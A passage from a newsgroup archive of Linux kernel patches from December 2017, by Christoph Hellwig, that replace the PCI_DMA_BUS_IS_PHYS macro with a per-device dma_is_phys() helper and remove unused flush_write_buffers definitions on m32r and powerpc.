+++ b/arch/x86/include/asm/pci.h
@@ -118,8 +118,6 @@ void native_restore_msi_irqs(struct pci_dev *dev);
 #define native_teardown_msi_irq		NULL
 #endif
 
-#define PCI_DMA_BUS_IS_PHYS (dma_ops->is_phys)
-
 #endif  /* __KERNEL__ */
 
 #ifdef CONFIG_X86_64
diff --git a/arch/x86/kernel/pci-nommu.c b/arch/x86/kernel/pci-nommu.c
index c78df78b5ccd..8ac9d1fe0373 100644
--- a/arch/x86/kernel/pci-nommu.c
+++ b/arch/x86/kernel/pci-nommu.c
@@ -84,7 +84,7 @@ const struct dma_map_ops nommu_dma_ops = {
 	.free			= dma_generic_free_coherent,
 	.map_sg			= nommu_map_sg,
 	.map_page		= nommu_map_page,
-	.is_phys		= 1,
 	.mapping_error		= nommu_mapping_error,
 	.dma_supported		= x86_dma_supported,
+	.is_phys		= true,
 };
diff --git a/arch/xtensa/include/asm/pci.h b/arch/xtensa/include/asm/pci.h
index 5c83798e3b2e..7949349294c7 100644
--- a/arch/xtensa/include/asm/pci.h
+++ b/arch/xtensa/include/asm/pci.h
@@ -37,13 +37,6 @@ extern struct pci_controller* pcibios_alloc_controller(void);
 #include <linux/string.h>
 #include <asm/io.h>
 
-/* The PCI address space does equal the physical memory address space.
- * The networking and block device layers use this boolean for bounce buffer
- * decisions.
- */
-
-#define PCI_DMA_BUS_IS_PHYS	(1)
-
 /* Tell drivers/pci/proc.c that we have pci_mmap_page_range() */
 #define HAVE_PCI_MMAP		1
 #define arch_can_pci_mmap_io()	1
diff --git a/arch/xtensa/kernel/pci-dma.c b/arch/xtensa/kernel/pci-dma.c
index 623720a11143..4a51996d2919 100644
--- a/arch/xtensa/kernel/pci-dma.c
+++ b/arch/xtensa/kernel/pci-dma.c
@@ -239,6 +239,7 @@ const struct dma_map_ops xtensa_dma_map_ops = {
 	.sync_sg_for_cpu = xtensa_sync_sg_for_cpu,
 	.sync_sg_for_device = xtensa_sync_sg_for_device,
 	.mapping_error = xtensa_dma_mapping_error,
+	.is_phys = true,
 };
 EXPORT_SYMBOL(xtensa_dma_map_ops);
 
diff --git a/drivers/ide/ide-lib.c b/drivers/ide/ide-lib.c
index e1180fa46196..0cdd661ddee0 100644
--- a/drivers/ide/ide-lib.c
+++ b/drivers/ide/ide-lib.c
@@ -17,13 +17,12 @@
 
 void ide_toggle_bounce(ide_drive_t *drive, int on)
 {
+	struct device *dev = drive->hwif ? drive->hwif->dev : NULL;
 	u64 addr = BLK_BOUNCE_HIGH;	/* dma64_addr_t */
 
-	if (!PCI_DMA_BUS_IS_PHYS) {
+	if (dev && !dma_is_phys(dev)) {
 		addr = BLK_BOUNCE_ANY;
 	} else if (on && drive->media == ide_disk) {
-		struct device *dev = drive->hwif->dev;
-
 		if (dev && dev->dma_mask)
 			addr = *dev->dma_mask;
 	}
diff --git a/drivers/ide/ide-probe.c b/drivers/ide/ide-probe.c
index 17fd55af4d92..7fe4d751e6cf 100644
--- a/drivers/ide/ide-probe.c
+++ b/drivers/ide/ide-probe.c
@@ -796,7 +796,7 @@ static int ide_init_queue(ide_drive_t *drive)
 	 * This will be fixed once we teach pci_map_sg() about our boundary
 	 * requirements, hopefully soon. *FIXME*
 	 */
-	if (!PCI_DMA_BUS_IS_PHYS)
+	if (hwif->dev && !dma_is_phys(hwif->dev))
 		max_sg_entries >>= 1;
 #endif /* CONFIG_PCI */
 
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index acba1f56af3e..2b129d8525d5 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1596,8 +1596,6 @@ static int __init ccio_probe(struct parisc_device *dev)
 	}
 #endif
 	ioc_count++;
-
-	parisc_has_iommu();
 	return 0;
 }
 
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 0a9c762a70fa..a58c586ebd81 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -2017,8 +2017,6 @@ static int __init sba_driver_callback(struct parisc_device *dev)
 	proc_create("sba_iommu", 0, root, &sba_proc_fops);
 	proc_create("sba_iommu-bitmap", 0, root, &sba_proc_bitmap_fops);
 #endif
-
-	parisc_has_iommu();
 	return 0;
 }
 
diff --git a/drivers/pci/host/vmd.c b/drivers/pci/host/vmd.c
index 509893bc3e63..5bb03ad9ed21 100644
--- a/drivers/pci/host/vmd.c
+++ b/drivers/pci/host/vmd.c
@@ -428,6 +428,7 @@ static void vmd_setup_dma_ops(struct vmd_dev *vmd)
 #ifdef ARCH_HAS_DMA_GET_REQUIRED_MASK
 	ASSIGN_VMD_DMA_OPS(source, dest, get_required_mask);
 #endif
+	dest->is_phys = source->is_phys;
 	add_dma_domain(domain);
 }
 #undef ASSIGN_VMD_DMA_OPS
diff --git a/drivers/scsi/scsi_lib.c b/drivers/scsi/scsi_lib.c
index d9ca1dfab154..2644214a92ca 100644
--- a/drivers/scsi/scsi_lib.c
+++ b/drivers/scsi/scsi_lib.c
@@ -2105,16 +2105,14 @@ static u64 scsi_calculate_bounce_limit(struct Scsi_Host *shost)
 
 	if (shost->unchecked_isa_dma)
 		return BLK_BOUNCE_ISA;
-	/*
-	 * Platforms with virtual-DMA translation
-	 * hardware have no practical limit.
-	 */
-	if (!PCI_DMA_BUS_IS_PHYS)
-		return BLK_BOUNCE_ANY;
 
 	host_dev = scsi_get_device(shost);
-	if (host_dev && host_dev->dma_mask)
-		bounce_limit = (u64)dma_max_pfn(host_dev) << PAGE_SHIFT;
+	if (host_dev) {
+		if (!dma_is_phys(host_dev))
+			return BLK_BOUNCE_ANY;
+		if (host_dev->dma_mask)
+			bounce_limit = (u64)dma_max_pfn(host_dev) << PAGE_SHIFT;
+	}
 
 	return bounce_limit;
 }
diff --git a/include/asm-generic/pci.h b/include/asm-generic/pci.h
index 830d7659289b..6bb3cd3d695a 100644
--- a/include/asm-generic/pci.h
+++ b/include/asm-generic/pci.h
@@ -14,12 +14,4 @@ static inline int pci_get_legacy_ide_irq(struct pci_dev *dev, int channel)
 }
 #endif /* HAVE_ARCH_PCI_GET_LEGACY_IDE_IRQ */
 
-/*
- * By default, assume that no iommu is in use and that the PCI
- * space is mapped to address physical 0.
- */
-#ifndef PCI_DMA_BUS_IS_PHYS
-#define PCI_DMA_BUS_IS_PHYS	(1)
-#endif
-
 #endif /* _ASM_GENERIC_PCI_H */
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index d84951865be7..e77e2dec4723 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -133,7 +133,14 @@ struct dma_map_ops {
 #ifdef ARCH_HAS_DMA_GET_REQUIRED_MASK
 	u64 (*get_required_mask)(struct device *dev);
 #endif
-	int is_phys;
+
+	/*
+	 * If is_phys is true, the dma_map_ops implementation only does a
+	 * linear mapping from physical to DMA address, and can only address
+	 * memory up to dma_max_pfn().  If is_phys is false DMA is possible
+	 * to any physical address.
+	 */
+	bool is_phys;
 };
 
 extern const struct dma_map_ops dma_noop_ops;
@@ -689,6 +696,20 @@ static inline int dma_set_seg_boundary(struct device *dev, unsigned long mask)
 	return -EIO;
 }
 
+#ifdef CONFIG_HAS_DMA
+static inline bool dma_is_phys(struct device *dev)
+{
+	const struct dma_map_ops *ops = get_dma_ops(dev);
+
+	return ops && ops->is_phys;
+}
+#else
+static inline bool dma_is_phys(struct device *dev)
+{
+	return false;
+}
+#endif
+
 #ifndef dma_max_pfn
 static inline unsigned long dma_max_pfn(struct device *dev)
 {
diff --git a/lib/dma-noop.c b/lib/dma-noop.c
index a10185b0c2d4..c3728a0551f5 100644
--- a/lib/dma-noop.c
+++ b/lib/dma-noop.c
@@ -63,6 +63,7 @@ const struct dma_map_ops dma_noop_ops = {
 	.free			= dma_noop_free,
 	.map_page		= dma_noop_map_page,
 	.map_sg			= dma_noop_map_sg,
+	.is_phys		= true,
 };
 
 EXPORT_SYMBOL(dma_noop_ops);
diff --git a/net/core/dev.c b/net/core/dev.c
index 01ee854454a8..ddf45f9217d4 100644
--- a/net/core/dev.c
+++ b/net/core/dev.c
@@ -2830,6 +2830,7 @@ EXPORT_SYMBOL(netdev_rx_csum_fault);
 static int illegal_highdma(struct net_device *dev, struct sk_buff *skb)
 {
 #ifdef CONFIG_HIGHMEM
+	struct device *pdev = dev->dev.parent;
 	int i;
 
 	if (!(dev->features & NETIF_F_HIGHDMA)) {
@@ -2841,18 +2842,15 @@ static int illegal_highdma(struct net_device *dev, struct sk_buff *skb)
 		}
 	}
 
-	if (PCI_DMA_BUS_IS_PHYS) {
-		struct device *pdev = dev->dev.parent;
+	if (!pdev || !dma_is_phys(pdev))
+		return 0;
 
-		if (!pdev)
-			return 0;
-		for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) {
-			skb_frag_t *frag = &skb_shinfo(skb)->frags[i];
-			dma_addr_t addr = page_to_phys(skb_frag_page(frag));
+	for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) {
+		skb_frag_t *frag = &skb_shinfo(skb)->frags[i];
+		dma_addr_t addr = page_to_phys(skb_frag_page(frag));
 
-			if (!pdev->dma_mask || addr + PAGE_SIZE - 1 > *pdev->dma_mask)
-				return 1;
-		}
+		if (!pdev->dma_mask || addr + PAGE_SIZE - 1 > *pdev->dma_mask)
+			return 1;
 	}
 #endif
 	return 0;
diff --git a/tools/virtio/linux/dma-mapping.h b/tools/virtio/linux/dma-mapping.h
index 1571e24e9494..f91aeb5fe571 100644
--- a/tools/virtio/linux/dma-mapping.h
+++ b/tools/virtio/linux/dma-mapping.h
@@ -6,8 +6,6 @@
 # error Virtio userspace code does not support CONFIG_HAS_DMA
 #endif
 
-#define PCI_DMA_BUS_IS_PHYS 1
-
 enum dma_data_direction {
 	DMA_BIDIRECTIONAL = 0,
 	DMA_TO_DEVICE = 1,
-- 
2.14.2


From - Thu Nov 08 21:40:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 07/67] m32r: remove unused flush_write_buffers definition
Date: Fri, 29 Dec 2017 09:18:11 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20171229081911.2802-8-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535486 19529 195.159.176.226 (29 Dec 2017 08:18:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:18:06 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:18:00 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUprZ-0004Tj-Ml
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:17:58 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 204DEA7B;
	Fri, 29 Dec 2017 08:19:58 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 523EF892
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:19:57 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id DC732439
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:19:56 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=S/GH44cRGA0qPZti+sTqqqVKSE2/SlUTJm6LzCR7sTw=;
	b=mJVnkiPbEtWUx6ywtnc+JdvsS
	m2hgsnA0chPCWVzRUFkDxRNPweP9kVfd24W5VZmWLFc4ouicicRyGcXt2BiqFjhgwquMKrf5Z8VSM
	CTGyOAy/CJ9SFmsTZAl0/BTsKfmLt9GR4lU0EiryGgKxNZNflMVznKXLtyHtZt4/2H1cqqMTlfBZP
	h5JeKTSeA1vbttORg4job73Ox4MfGBLfER5qCKb4bPcTdfADMrhy6gGLdBUbgMMliybFsL5viB50/
	wFp0UtG1X/vCHnwrVDTXlJYKNHy42ss0DB/pe4U0KDS4vIK58bbvC2Eu9K7PHt0ORrKzbOIOpuCyD
	cApqe/Vmg==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUptM-00006L-6J; Fri, 29 Dec 2017 08:19:48 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21883 gmane.linux.ports.mips.general:62926 gmane.linux.ports.ia64:28393 gmane.linux.ports.sh.devel:56039 gmane.linux.ports.sparc:27046 gmane.linux.kernel.cross-arch:40786 gmane.linux.ports.hexagon:1403 gmane.linux.kernel.arc:3171 gmane.linux.kernel.metag:1477 gmane.linux.ports.arm.kernel:622896 gmane.linux.ports.parisc:28068 gmane.linux.kernel:2654212 gmane.linux.ports.alpha:4550 gmane.linux.ports.ppc64.devel:151500
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21883>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/m32r/include/asm/io.h | 2 --
 1 file changed, 2 deletions(-)

diff --git a/arch/m32r/include/asm/io.h b/arch/m32r/include/asm/io.h
index 1b653bb16f9a..a4272d8f0d9c 100644
--- a/arch/m32r/include/asm/io.h
+++ b/arch/m32r/include/asm/io.h
@@ -191,8 +191,6 @@ static inline void _writel(unsigned long l, unsigned long addr)
 
 #define mmiowb()
 
-#define flush_write_buffers() do { } while (0)  /* M32R_FIXME */
-
 static inline void
 memset_io(volatile void __iomem *addr, unsigned char val, int count)
 {
-- 
2.14.2


From - Thu Nov 08 21:40:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 08/67] powerpc: remove unused flush_write_buffers definition
Date: Fri, 29 Dec 2017 09:18:12 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20171229081911.2802-9-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535488 20112 195.159.176.226 (29 Dec 2017 08:18:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:18:08 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:18:03 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUpre-0004mj-0w
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:18:02 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 532DD892;
	Fri, 29 Dec 2017 08:19:59 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 743B5AE0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:19:58 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 2B980431
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:19:58 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=lioZeBjyjc+4CAz8dtiEETXglDGPc45H4sAX28X9kuQ=;
	b=WAacVvo8TnV+mB4lc+lLSyoV2
	GefalCzYkq22+/8yoxhH42qphPyjkUx408ktHL86S7Y2Odtoy7DhdbzyaEWZh3cmQyKhALTaTd5gw
	0fuTk6mX1fbF0cOWH7+1zGopmXYlcdUjtLmrY58VTUd/EkaCD1s45A9pFiNTKJFCdLFCFS6GXXQW9
	kth/f+OCGqeN845ktnXqWNXJwj32Yx/r2+LSNpXW3VIDM1v2AMFjIMgonSJIVxhn+lpc+Zu6zulXR
	lugLgaIzcNEz/qgzVRfeqJXsgngJ46yaUtCurp0KPoU9ms2gCBuED1BJa+uPJEcsCWazN/2NLgOCS
	i4W2eYNuQ==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUptQ-0000Am-GV; Fri, 29 Dec 2017 08:19:53 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21884 gmane.linux.ports.mips.general:62927 gmane.linux.ports.ia64:28394 gmane.linux.ports.sh.devel:56040 gmane.linux.ports.sparc:27047 gmane.linux.kernel.cross-arch:40787 gmane.linux.ports.hexagon:1404 gmane.linux.kernel.arc:3172 gmane.linux.kernel.metag:1478 gmane.linux.ports.arm.kernel:622897 gmane.linux.ports.parisc:28069 gmane.linux.kernel:2654213 gmane.linux.ports.alpha:4551 gmane.linux.ports.ppc64.devel:151501
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21884>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/powerpc/include/asm/dma-mapping.h | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/arch/powerpc/include/asm/dma-mapping.h b/arch/powerpc/include/asm/dma-mapping.h
index 5a6cbe11db6f..592c7f418aa0 100644
--- a/arch/powerpc/include/asm/dma-mapping.h
+++ b/arch/powerpc/include/asm/dma-mapping.h
@@ -107,9 +107,6 @@ static inline void set_dma_offset(struct device *dev, dma_addr_t off)
 		dev->archdata.dma_offset = off;
 }
 
-/* this will be removed soon */
-#define flush_write_buffers()
-
 #define HAVE_ARCH_DMA_SET_MASK 1
 extern int dma_set_mask(struct device *dev, u64 dma_mask);
 
-- 
2.14.2


From - Thu Nov 08 21:40:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH 09/67] arc: remove CONFIG_ARC_PLAT_NEEDS_PHYS_TO_DMA
Date: Fri, 29 Dec 2017 09:18:13 +0100
Lines: 110
Approved: news@gmane.org
Message-ID: <20171229081911.2802-10-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
